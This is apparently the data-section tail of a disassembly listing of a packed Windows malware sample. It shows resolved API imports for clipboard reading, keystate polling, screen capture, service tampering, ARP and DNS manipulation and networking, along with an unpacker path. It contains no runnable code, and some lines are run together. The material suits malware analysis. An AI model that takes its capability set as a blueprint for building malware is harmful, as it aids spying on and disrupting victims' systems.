dword_43A384	dd 5B86FDE8h						; sub_4061D5+9DBr ...
dword_43A388	dd 5B86AA41h						; sub_4061D5+A28r ...
dword_43A38C	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4061D5+BAr ...
dword_43A390	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_4061D5+3C1r ...
dword_43A394	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_4025BC+24Dr ...
dword_43A398	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4061D5+72w ...
dword_43A39C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_403FEB+45r ...
dword_43A3A0	dd 5B86FEB8h						; sub_4061D5+9E8r ...
dword_43A3A4	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_4061D5+82Ew ...
dword_43A3A8	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_4061D5+AB7r ...
dword_43A3AC	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_404FFA+16r ...
dword_43A3B0	dd 5B8A5199h						; sub_4081ED+72r
dword_43A3B4	dd 7C864230h	; resolved to->KERNEL32.Module32First					; sub_408D07+15Cr ...
dword_43A3B8	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_40598C+76r ...
dword_43A3BC	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_4061D5+EAr ...
dword_43A3C0	dd 74344AE7h						; sub_4061D5+C10r
dword_43A3C4	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_4061D5+86Ar ...
dword_43A3C8	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_402183+219r ...
dword_43A3CC	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4061D5+3C9r ...
dword_43A3D0	dd 73B81E3Bh						; sub_4025BC+2Br ...
dword_43A3D4	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_4061D5+87Ar ...
dword_43A3D8	dd 5B867750h						; sub_4061D5+A00r ...
dword_43A3DC	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4061D5+2B2w ...
dword_43A3E0	dd 71AC0B50h	; resolved to->WS2_32.getpeername					; sub_4108F4+E3r
dword_43A3E4	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4061D5+F2r
dword_43A3E8	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4061D5+28Bw ...
dword_43A3EC	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_4061D5+C2r ...
dword_43A3F0	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4061D5+910r ...
dword_43A3F4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_4061D5+53Cw ...
dword_43A3F8	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_4061D5+1BAr ...
dword_43A3FC	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_4061D5+85Bw ...
dword_43A400	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4061D5+796r ...
dword_43A404	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A408	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_408C9C+55r
dword_43A40C	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_408774+98r
dword_43A410	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_402183+3Dr ...
dword_43A414	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_403FEB+25r ...
dword_43A418	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_4061D5+448w ...
dword_43A41C	dd 77F16C0Ah	; resolved to->GDI32.DeleteObject					; sub_4061D5+496w
dword_43A420	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_401950+77r ...
dword_43A424	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4061D5+91Dr ...
dword_43A428	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_4061D5+47Cw ...
dword_43A42C	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_4061D5+6B2r ...
dword_43A430	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_412AEE+EDr
dword_43A434	dd 73B81B0Fh						; sub_409806+3B23r
dword_43A438	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_403FEB+E2r ...
dword_43A43C	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_407512+15r
dword_43A440	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_403440+2Br ...
dword_43A444	dd 71B2517Fh						; sub_4061D5+B1Br ...
dword_43A448	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405549+3C4r ...
dword_43A44C	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A450	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_4061D5+848w ...
dword_43A454	dd 74343318h						; sub_4061D5+C18r
dword_43A458	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_4061D5+462w ...
dword_43A45C	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_404EFB+A1r ...
dword_43A460	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4061D5+39Cr ...
dword_43A464	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_4023C0+7Fr ...
dword_43A468	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_4061D5+3B1r ...
dword_43A46C	dd 5B894364h						; sub_4061D5+A18r ...
dword_43A470	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4061D5+3D1r ...
dword_43A474	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4061D5+5D8w ...
dword_43A478	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_4061D5+6BEr ...
dword_43A47C	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_4061D5+619w ...
dword_43A480	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4061D5+2BFw ...
dword_43A484	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_4061D5+3B9r ...
dword_43A488	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4061D5+A6Dr ...
dword_43A48C	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho					; sub_4088F8+116r
dword_43A490	dd 743527D4h						; sub_4061D5+BF3r
dword_43A494	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4061D5+79Er ...
dword_43A498	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4061D5+736r ...
dword_43A49C	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_4083DF+ABr
dword_43A4A0	dd 0		dword_43A4A4	dd 5B868E65h						; sub_4061D5+9F0r ...
dword_43A4A8	dd 743452A3h						; sub_4061D5+C08r
dword_43A4AC	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_4061D5+B75r ...
dword_43A4B0	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_402816+2DAr ...
dword_43A4B4	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_4061D5+43Bw ...
dword_43A4B8	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_4061D5+78Er
dword_43A4BC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_402C2F+48Fr ...
dword_43A4C0	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4061D5+323r ...
dword_43A4C4	dd 7E41C505h	; resolved to->USER32.GetKeyState					; sub_405ED4+F9r ...
dword_43A4C8	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_4061D5+633w ...
dword_43A4CC	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_402816+E3r ...
dword_43A4D0	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4061D5+2B9r ...
dword_43A4D4	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_4061D5+1DAr ...
dword_43A4D8	dd 71B2578Ch						; sub_4061D5+B28r ...
dword_43A4DC	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4061D5+316r ...
dword_43A4E0	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4061D5+3A9r ...
dword_43A4E4	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_4061D5+42Ew ...
dword_43A4E8	dd 0CC0004h						; sub_4061D5+8BDw ...
dword_43A4EC	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_4061D5+872r ...
dword_43A4F0	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_4061D5+862r ...
dword_43A4F4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_402816+83r ...
dword_43A4F8	dd 0							; sub_4061D5+12Bw ...
dword_43A4FC	dd 0							; sub_406E62+1Cr
dword_43A500	dd 0							; sub_4061D5:loc_40642Aw ...
dword_43A504	dd 0							; sub_406E62+50r
dword_43A508	dd 0							; sub_4061D5:loc_406504w ...
dword_43A50C	dd 0							; sub_406E62+84r
dword_43A510	dd 0							; sub_406E62:loc_406F12r
dword_43A514	dd 0							; sub_406E62+B8r
dword_43A518	dd 0							; sub_406E62:loc_406F46r
dword_43A51C	dd 0							; sub_406E62+ECr
dword_43A520	dd 0							; sub_4061D5+8D1w ...
dword_43A524	dd 0							; sub_406E62+120r
dword_43A528	dd 0							; sub_406E62:loc_406FAEr ...
dword_43A52C	dd 0							; sub_406E62+154r
dword_43A530	dd 0							; sub_406E62:loc_406FE2r ...
dword_43A534	dd 0							; sub_406E62+188r
dword_43A538	dd 0							; sub_406E62:loc_407016r
dword_43A53C	dd 0							; sub_406E62+1BCr
dword_43A540	dd 0							; sub_406E62:loc_40704Ar
dword_43A544	dd 0							; sub_406E62+1F0r
dword_43A548	dd 0							; sub_406E62:loc_40707Er
dword_43A54C	dd 0							; sub_406E62+224r
dword_43A550	dd 0							; sub_406E62:loc_4070B2r
dword_43A554	dd 0							; sub_406E62+258r
dword_43A558	dd 0							; sub_406E62:loc_4070E6r
dword_43A55C	dd 0							; sub_406E62+28Cr
dword_43A560	dd 0							; sub_406E62:loc_40711Ar
dword_43A564	dd 0							; sub_406E62+2C0r
dword_43A568	dd 80h dup(0)	dword_43A768	dd 17h dup(0)						; sub_40786A+12Do ...
dword_43A7C4	dd 0							; sub_407B65+5Br ...
dword_43A7C8	dd 0							; sub_407B65+3Ew ...
		align 10h
dword_43A7D0	dd 18h dup(0)						; sub_4080BD+12Ao
dword_43A830	dd 80h dup(0)						; sub_4081ED+A9o
dword_43AA30	dd 80h dup(0)						; sub_4082A9+60o
dword_43AC30	dd 80h dup(0)						; sub_408321+83o ...
dword_43AE30	dd 80h dup(0)						; sub_4084FE+8Eo ...
dword_43B030	dd 4 dup(0)	dword_43B040	dd 0							; sub_402C2F+14Eo ...
		dd 7Fh dup(0)
dword_43B240	dd 0							; sub_41379F+3Ew ...
dword_43B244	dd 0							; sub_401950:loc_401B41r ...
dword_43B248	dd 0							; sub_411963+A2w ...
dword_43B24C	dd 0							; sub_405549+78w ...
dword_43B250	dd 0							; sub_41002B:loc_4100A8r ...
dword_43B254	dd 0							; sub_401141+25Bw ...
byte_43B258	db 0			; DATA XREF: sub_4096A7+57o
					; sub_409806+26B2r ...
		align 4
		dd 293Dh dup(0)
dword_445750	dd 0E9A0h dup(0)dword_47FDD0	dd 0							; sub_4136B6+13o ...
dword_47FDD4	dd 20h dup(0)	dword_47FE54	dd 10h dup(0)	dword_47FE94	dd 24h dup(0)	dword_47FF24	dd 0							; sub_40FAD0+4D7w ...
dword_47FF28	dd 0				dd 3 dup(0)
dword_47FF38	dd 0							; sub_401DBD+62r ...
		dd 5 dup(0)
dword_47FF50	dd 0							; sub_409806+9D9r
		dd 1Fh dup(0)
dword_47FFD0	dd 0							; sub_4138C5+19o
dword_47FFD4	dd 2B9h	dup(0)	dword_480AB8	dd 2FE2h						; sub_401DBD+47o ...
byte_480ABC	db 0			; DATA XREF: sub_40942B+2Ar
					; sub_40942B+33o
		align 10h
dword_480AC0	dd 0							; sub_40FAD0:loc_40FF40w ...
dword_480AC4	dd 0							; sub_40FAD0+40Aw
dword_480AC8	dd 0							; sub_4106AD+87o
dword_480ACC	dd 0							; sub_410520+119r ...
dword_480AD0	dd 0							; sub_4106AD+115w
dword_480AD4	dd 0							; sub_410520+32r ...
dword_480AD8	dd 0Dh dup(0)						; sub_410520+114o ...
dword_480B0C	dd 0							; sub_410520+53r ...
		dd 0
dword_480B14	dd 0				align 10h
dword_480B20	dd 80h dup(0)	byte_480D20	db 0			; DATA XREF: sub_411F71:loc_411FCEr
					; sub_411F71+93w
		align 4
dword_480D24	dd 0Dh dup(0)	dword_480D58	dd 101h	dup(0)						; .text:00414EC8o ...
dword_48115C	dd 0		dword_481160	dd 0		dword_481164	dd 2							; sub_419FC9r ...
dword_481168	dd 0A28h						; .text:0041868Dw
dword_48116C	dd 501h		dword_481170	dd 5							; sub_419FC9+9r ...
dword_481174	dd 1		dword_481178	dd 1							; sub_41DEA7+8Fw
dword_48117C	dd 323270h						; sub_40FAD0+314r ...
		dd 0
dword_481184	dd 323290h						; sub_41DC74:loc_41DD25r ...
		dd 3 dup(0)
off_481194	dd offset aCM_unpackerPac ; DATA XREF: sub_41DEA7+37w
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48119C	db 0			; DATA XREF: sub_4182E0+35w
					; sub_41B07E+5r
		align 10h
dword_4811A0	dd 0		dword_4811A4	dd 0							; sub_4182E0+C1w
dword_4811A8	dd 0							; sub_41DC74:loc_41DC86r ...
		align 10h
dword_4811B0	dd 0				align 10h
dword_4811C0	dd 144BA0h, 0FFFFFFFFh,	4 dup(0)					; .text:off_432518o
dword_4811D8	dd 144BC8h, 0FFFFFFFFh,	4 dup(0)dword_4811F0	dd 144BF0h, 0FFFFFFFFh,	4 dup(0)		dd 144C18h, 0FFFFFFFFh,	4 dup(0)
dword_481220	dd 144C40h, 0FFFFFFFFh,	4 dup(0)		dd 144C68h, 0FFFFFFFFh,	4 dup(0)
		db 90h
		db 4Ch,	14h, 0
		dd 0FFFFFFFFh, 4 dup(0)
dword_481268	dd 144CB8h, 0FFFFFFFFh,	4 dup(0)dword_481280	dd 144CE0h, 0FFFFFFFFh,	4 dup(0)		dd 144D08h, 0FFFFFFFFh,	4 dup(0)
		dd 144D30h, 0FFFFFFFFh,	4 dup(0)
dword_4812C8	dd 144D58h, 0FFFFFFFFh,	4 dup(0)		dd 144D80h, 0FFFFFFFFh,	4 dup(0)
		dd 144DA8h, 0FFFFFFFFh,	4 dup(0)
dword_481310	dd 0		dword_481314	dd 0							; sub_416F93+147r ...
dword_481318	dd 0							; sub_41C534:loc_41C55Dw ...
dword_48131C	dd 1							; sub_41C139+31w ...
		dd 2 dup(0)
dword_481328	dd 1							; sub_41D2FB+1Dw ...
dword_48132C	dd 0		aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41DEA7+23o
					; .text:off_481194o
		align 4
		dd 3Ah dup(0)
byte_481434	db 0			; DATA XREF: sub_41DEA7:loc_41DEBEw
		align 4
dword_481438	dd 1							; sub_41DF49+24w ...
dword_48143C	dd 1							; sub_41E8E0+2Ew ...
dword_481440	dd 0							; .text:off_432D6Co ...
dword_481444	dd 0		dword_481448	dd 0				dd 0Bh dup(0)
dword_481478	dd 0							; sub_41E8E0+14Ar ...
		dd 3 dup(0)
dword_481488	dd 0							; sub_41C139+272r ...
		dd 0Ah dup(0)
dword_4814B4	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_41EF60+39w ...
dword_4814B8	dd 0		dword_4814BC	dd 0		dword_4814C0	dd 77C2807Ch						; sub_4204ED+182r ...
dword_4814C4	dd 0		; resolved to->USER32.MessageBoxA					; sub_42077B+38w ...
dword_4814C8	dd 0		; resolved to->USER32.GetActiveWindow					; sub_42077B:loc_420840r
dword_4814CC	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_42077B+D6r
dword_4814D0	dd 0		; resolved to->USER32.GetProcessWindowStation					; sub_42077B:loc_4207FBr
dword_4814D4	dd 0		; resolved to->USER32.GetUserObjectInformationA					; sub_42077B+9Cr
		dd 30h dup(0)
dword_481598	dd 0		dword_48159C	dd 0							; sub_421383+87r
dword_4815A0	dd 0							; sub_421383+4Dr
dword_4815A4	dd 0							; sub_421383+40r
dword_4815A8	dd 0							; sub_421383+5Ar
		dd 4 dup(0)
dword_4815BC	dd 0							; sub_4219DA+31w ...
dword_4815C0	dd 0							; sub_421C8A+2Ew ...
dword_4815C4	dd 0		dword_4815C8	dd 0		dword_4815CC	dd 0		dword_4815D0	dd 20h							; sub_41B3E4+Fr ...
		align 10h
dword_4815E0	dd 321F20h						; sub_41AD23+5Br ...
dword_4815E4	dd 3Fh dup(0)	dword_4816E0	dd 0							; sub_41CF64+87r ...
dword_4816E4	dd 323048h						; sub_41D0F6:loc_41D135r ...
dword_4816E8	dd 0							; sub_41D165+F5w ...
		dd 5 dup(0)
byte_481700	db 0			; DATA XREF: sub_41CF3B+6o
					; sub_41D165+55o ...
byte_481701	db 0			; DATA XREF: sub_41802F+5Er
					; sub_41CF64+107w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_481804	dd 4E4h							; sub_41CF64+19r ...
		align 10h
word_481810	dw 0			; DATA XREF: sub_41CF3B+1Fo
					; sub_41D165+10Co ...
		align 10h
byte_481820	db 0			; DATA XREF: sub_41CF64:loc_41D079w
					; sub_41CF64:loc_41D096w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_481920	dd 324428h						; sub_41AEF7+51r ...
		dd 7 dup(0)
dword_481940	dd 400h	dup(0)						; .text:00432640o
dword_482940	dd 200h							; sub_41AFD5r ...
dword_482944	dd 0							; sub_41A20A+21Cr ...
dword_482948	dd 0							; sub_41A1DFr ...
dword_48294C	dd 0							; sub_41A1DF+8r ...
dword_482950	dd 0							; sub_416F93+6Cr ...
dword_482954	dd 0							; sub_41A20A+300w ...
dword_482958	dd 0							; sub_41A522+5r ...
dword_48295C	dd 0							; sub_41A20A+249r ...
dword_482960	dd 320000h						; sub_416D08+5Dr ...
dword_482964	dd 1							; sub_416D08+Fr ...
dword_482968	dd 142340h						; sub_41DC0B+Fr ...
dword_48296C	dd 1		dword_482970	dd 324C34h						; sub_4182E0:loc_41833Ar ...
dword_482974	dd 324C30h						; sub_4182E0+62r ...
dword_482978	dd 1							; sub_41D44B+11w ...
		align 800h
_text		ends

; Section 3. (virtual address 00084000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00084000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 484000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start